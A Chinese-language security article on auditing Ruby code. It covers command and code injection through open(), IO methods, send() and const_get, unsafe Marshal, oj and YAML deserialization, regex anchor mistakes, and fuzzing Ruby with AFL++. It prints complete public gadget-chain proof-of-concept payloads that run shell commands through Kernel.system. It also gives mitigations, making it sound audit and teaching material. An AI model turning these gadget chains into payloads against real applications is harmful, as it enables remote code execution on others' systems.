随着Ruby越来越流行,Ruby相关的安全问题也逐渐暴露,目前,国内专门介绍Ruby安全的文章较少,本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述,希望能给读者在Ruby代码审计上提供帮助。
Ruby是一种面向对象、指令式、函数式、动态的通用编程语言。在20世纪90年代中期由日本电脑科学家松本行弘(Matz)设计并开发。Ruby注重简洁和效率,句法优雅,读起来自然,写起来舒适。
说到Ruby安全不得不提RubyonRails安全,本篇着重关注Ruby本身。Ruby涉及到web安全漏洞几乎囊括其他语言存在的漏洞,例如命令注入漏洞、代码注入漏洞、反序列化漏洞、SQL注入漏洞、XSS漏洞、SSRF漏洞等。但是在具体的漏洞触发上,Ruby又不同于其他语言。
命令注入漏洞一般是指把外部数据传入system()类的函数执行,导致命令注入漏洞。触发命令注入漏洞的链接符号有很多,再配合单双引号可以组合成更多不同的注入条件,例如(linux):
在审计代码的时候一般会直接搜索能够执行命令的函数,例如:
而对于Ruby,除了支持这些函数执行命令,还有一些独特执行命令的方式:
%x//
``
open()
IO.read()
IO.write()
IO.binread()
IO.binwrite()
IO.foreach()
IO.readlines()
%x//和``属于类似system函数,可以把字符串解析为命令:
open()是Ruby用来操作文件的函数,但是他也支持执行命令,执行传入一个以中划线开头的字符,后面跟着要执行的命令即可:
除了open()函数,IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函数也可以以相同的方式执行命令。
open()函数引发的Ruby安全问题:
https://hackerone.com/reports/1161691
https://hackerone.com/reports/651518
https://hackerone.com/reports/1158824
https://hackerone.com/reports/294462
File.read()函数引发的Ruby安全问题:
https://hackerone.com/reports/449482
IO.readlines()函数引发的潜在Ruby安全问题,笔者发现,已被忽略:
https://hackerone.com/reports/1090678
代码注入漏洞一般是由于把外部数据传入eval()类函数中执行,导致程序可以执行任意代码。Ruby除了支持eval(),还支持class_eval()、instance_eval()函数执行代码,区别在于执行代码的上下文环境不同。eval()函数导致的代码注入问题与其他语言类似,不再赘述。
Ruby除了eval()、class_eval()、instance_eval()函数,还存在其他可以执行代码的函数:
send()函数是Ruby用来调用符号方法的函数,可以将任何指定的参数传递给它,类似JAVA中的invoke函数,不过它更为灵活,可以接收外部变量,举例:
class Klass
def hello(*args)
puts "Hello " + args.join(' ')
end
end
k = Klass.new
k.send :hello, "gentle", "readers"
#=> "Hello gentle readers"
上述代码中,实例k通过send动态调用了hello办法,假如hello字符串来自外部,便可以传入eval,注入恶意代码,举例:
class Klass
def hello(*args)
puts "Hello " + args.join(' ')
end
end
k = Klass.new
k.send :eval, "`touch /tmp/niubl`"
__send__()函数和send函数一样,区别在于当代码有send同名函数时,可以调用__send__()。
public_send()和send()函数的区别在于send()可以调用私有方法。
send()函数引发的Ruby安全问题:
https://hackerone.com/reports/327512
搜索一些不安全的用法:
const_get()函数是Ruby用来在模块中获取常量值的函数,它存在一个inherit参数,当设置为true时(默认也为true),会递归向祖先模块查找。它还有另外一个用法,就是当字符串是已载入的类名时,会返回这个类(Ruby中,类名也是常量),类似JAVA的forName函数,常用写法是这样:
代码中,使用const_get动态实例化了类,使Ruby更为灵活。但是这样的用法如果使用不当,也会出现安全问题,例如这里(rack-proxy模块):
如图,perform_request()函数在Net::HTTP模块中搜索HTTP方法类,然后实例化,并传递full_path请求路径参数给new()函数,HTTP方法和请求路径都是外部可控的,而且const_get()函数没有限制inherit,默认可以递归查找,在整个空间内实例化任意已载入类,并传递一个可控参数。如果找到合适的利用链,完全可以到达任意代码执行。目前,该问题已在GitHub上被发现并修复。
实战中已经有人使用此方法实现了代码执行,那就是gitlab的一个漏洞
https://hackerone.com/reports/1125425, kramdown模块使用const_get()函数来动态实例化格式化类,但是没有限制inherit,导致vakzz通过使用一个Redis类的利用链达到了任意代码执行的目的,漏洞报告已经写的非常详细,不再赘述。
constantize同样可以将字符串转化为类,属于RubyonRails中的用法,底层调用的const_get()函数:
def constantize(camel_cased_word)
Object.const_get(camel_cased_word)
end
下图中constantize要转化的类和类实例化的参数都可控,如果我们能找到合适的利用链,便可以到达任意代码执行:
反序列化漏洞是指在把外部传入的不可信字节序列恢复为对象的过程中,未做合适校验,导致攻击者可以利用特定方法,配合利用链,达到任意代码执行的目的。Ruby也有反序列化的函数,同样也存在反序列化漏洞。
Marshal是Ruby用来序列反序列化的模块,Marshal.dump()可以把一个对象序列化为字节序,Marshal.load()可以把一个字节序反序列化为对象。
Marshal反序列化的利用已有很多篇分析文章,不再赘述。
使用已经公开的POC测试:
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id > /tmp/niubl")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Marshal.load(payload)
执行POC(ruby-3.0.0):
搜索一些不安全的用法:
Ruby 处理JSON时可能存在反序列化漏洞,但是不是Ruby内置的JSON解析器,而是第三方开发的解析器oj(https://github.com/ohler55/oj)。oj在解析JSON时支持多种数据类型,包括会导致代码执行的Object类型。
使用已经公开的POC测试:
require "oj"
json = '{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"id >> /tmp/niubl"},"method_id":":resolve"}}}}],"dummy_value"]}'
Oj.load(json)
执行POC(ruby-3.0.0):
oj可以通过设置模式,避免反序列化对象:
Oj.default_options = {:mode => :compat }
Ruby YAML也支持反序列化对象,pysch 4.0之前版本调用YAML.load()函数即可反序列化对象,psych 4.0以后需要调用YAML.unsafe_load()才能反序列化对象。使用已经公开的POC测试:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id >> /tmp/niubl
method_id: :resolve
require "yaml"
YAML.load(open("test.yaml").read())
执行POC(ruby-3.0.0):
Ruby YAML解析,psych4.0之前可以通过调用save_load()函数,避免反序列化对象,psych 4.0之后默认load()函数就是安全的(https://github.com/ruby/psych/pull/487)。
搜索unsafe_load的使用,不一定存在漏洞,需要yaml内容可控才有风险:
Ruby正则大体与其他语言一样,只是在个别语法上存在差别,如果没有特别了解研究,按照其他的语言用法套用,就很有可能出现安全问题,例如Ruby在用正则匹配开头和结尾时支持^$的用法,但是支持多行匹配则需要改为\A\Z避免换行绕过。
正则错用引发的安全问题:
https://hackerone.com/reports/733072
搜索相关代码,还是有不少错用的:
在学习Ruby反序列化时,想要通过Ruby用C语言实现Marshal,对处理不同数据类型做处理,那么可以对他进行一下FUZZ。
FUZZ使用了AFLplusplus,配置编译Ruby:
./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc --disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env
export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"
AFL_USE_ASAN=1 make
使用AFLplusplus的deferred instrumentation模式,对Ruby源码main.c文件稍作修改:
样本生成上,可以选取Ruby自带的测试用例,这样可以快速得到比较全面合法的样本,正好在学习Ruby hook的方案,写了一个简单的hook函数,在rubygems.rb文件中加载,劫持Marshal模块,执行自测的同时即可保存下样本。
require 'securerandom'
module Marshal
class << self
alias_method :__dump, :dump
def dump(*args)
result = __dump(*args)
uuid = SecureRandom.uuid
File.open("/testcases/" + uuid, 'wb') {|f| f.write(result)}
result
end
end
end
想要FUZZ其他模块也可以用同样办法来获取样本。
经过一段时间的FUZZ,陆陆续续发现了一些漏洞:
1. CVE-2022-28738 doublefree in onig_reg_resize
2. CVE-2022-28739 heap-buffer-overflow in strtod
3. global-buffer-overflow calc_tm_yday
4. dynamic-stack-buffer-overflow in renumber_by_map
5. JSON.parse denial of service
虽然FUZZ出了一些问题,但是依旧存在很多未解决的问题,比如FUZZ速度、效率、自动化等,未来将继续深入探索研究。
以上是笔者在ruby中的一些学习研究汇总,如有不恰当之处,敬请斧正,一起交流学习。
https://hackerone.com/ruby/hacktivity
https://bishopfox.com/blog/ruby-vulnerabilities-exploits
https://zenn.dev/ooooooo_q/books/rails_deserialize
http://gavinmiller.io/2016/the-safesty-way-to-constantize/
https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md
https://www.elttam.com/blog/ruby-deserialization/
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
https://bsidessf2018.sched.com/event/E6jC/fuzzing-ruby-and-c-extensions
往期回顾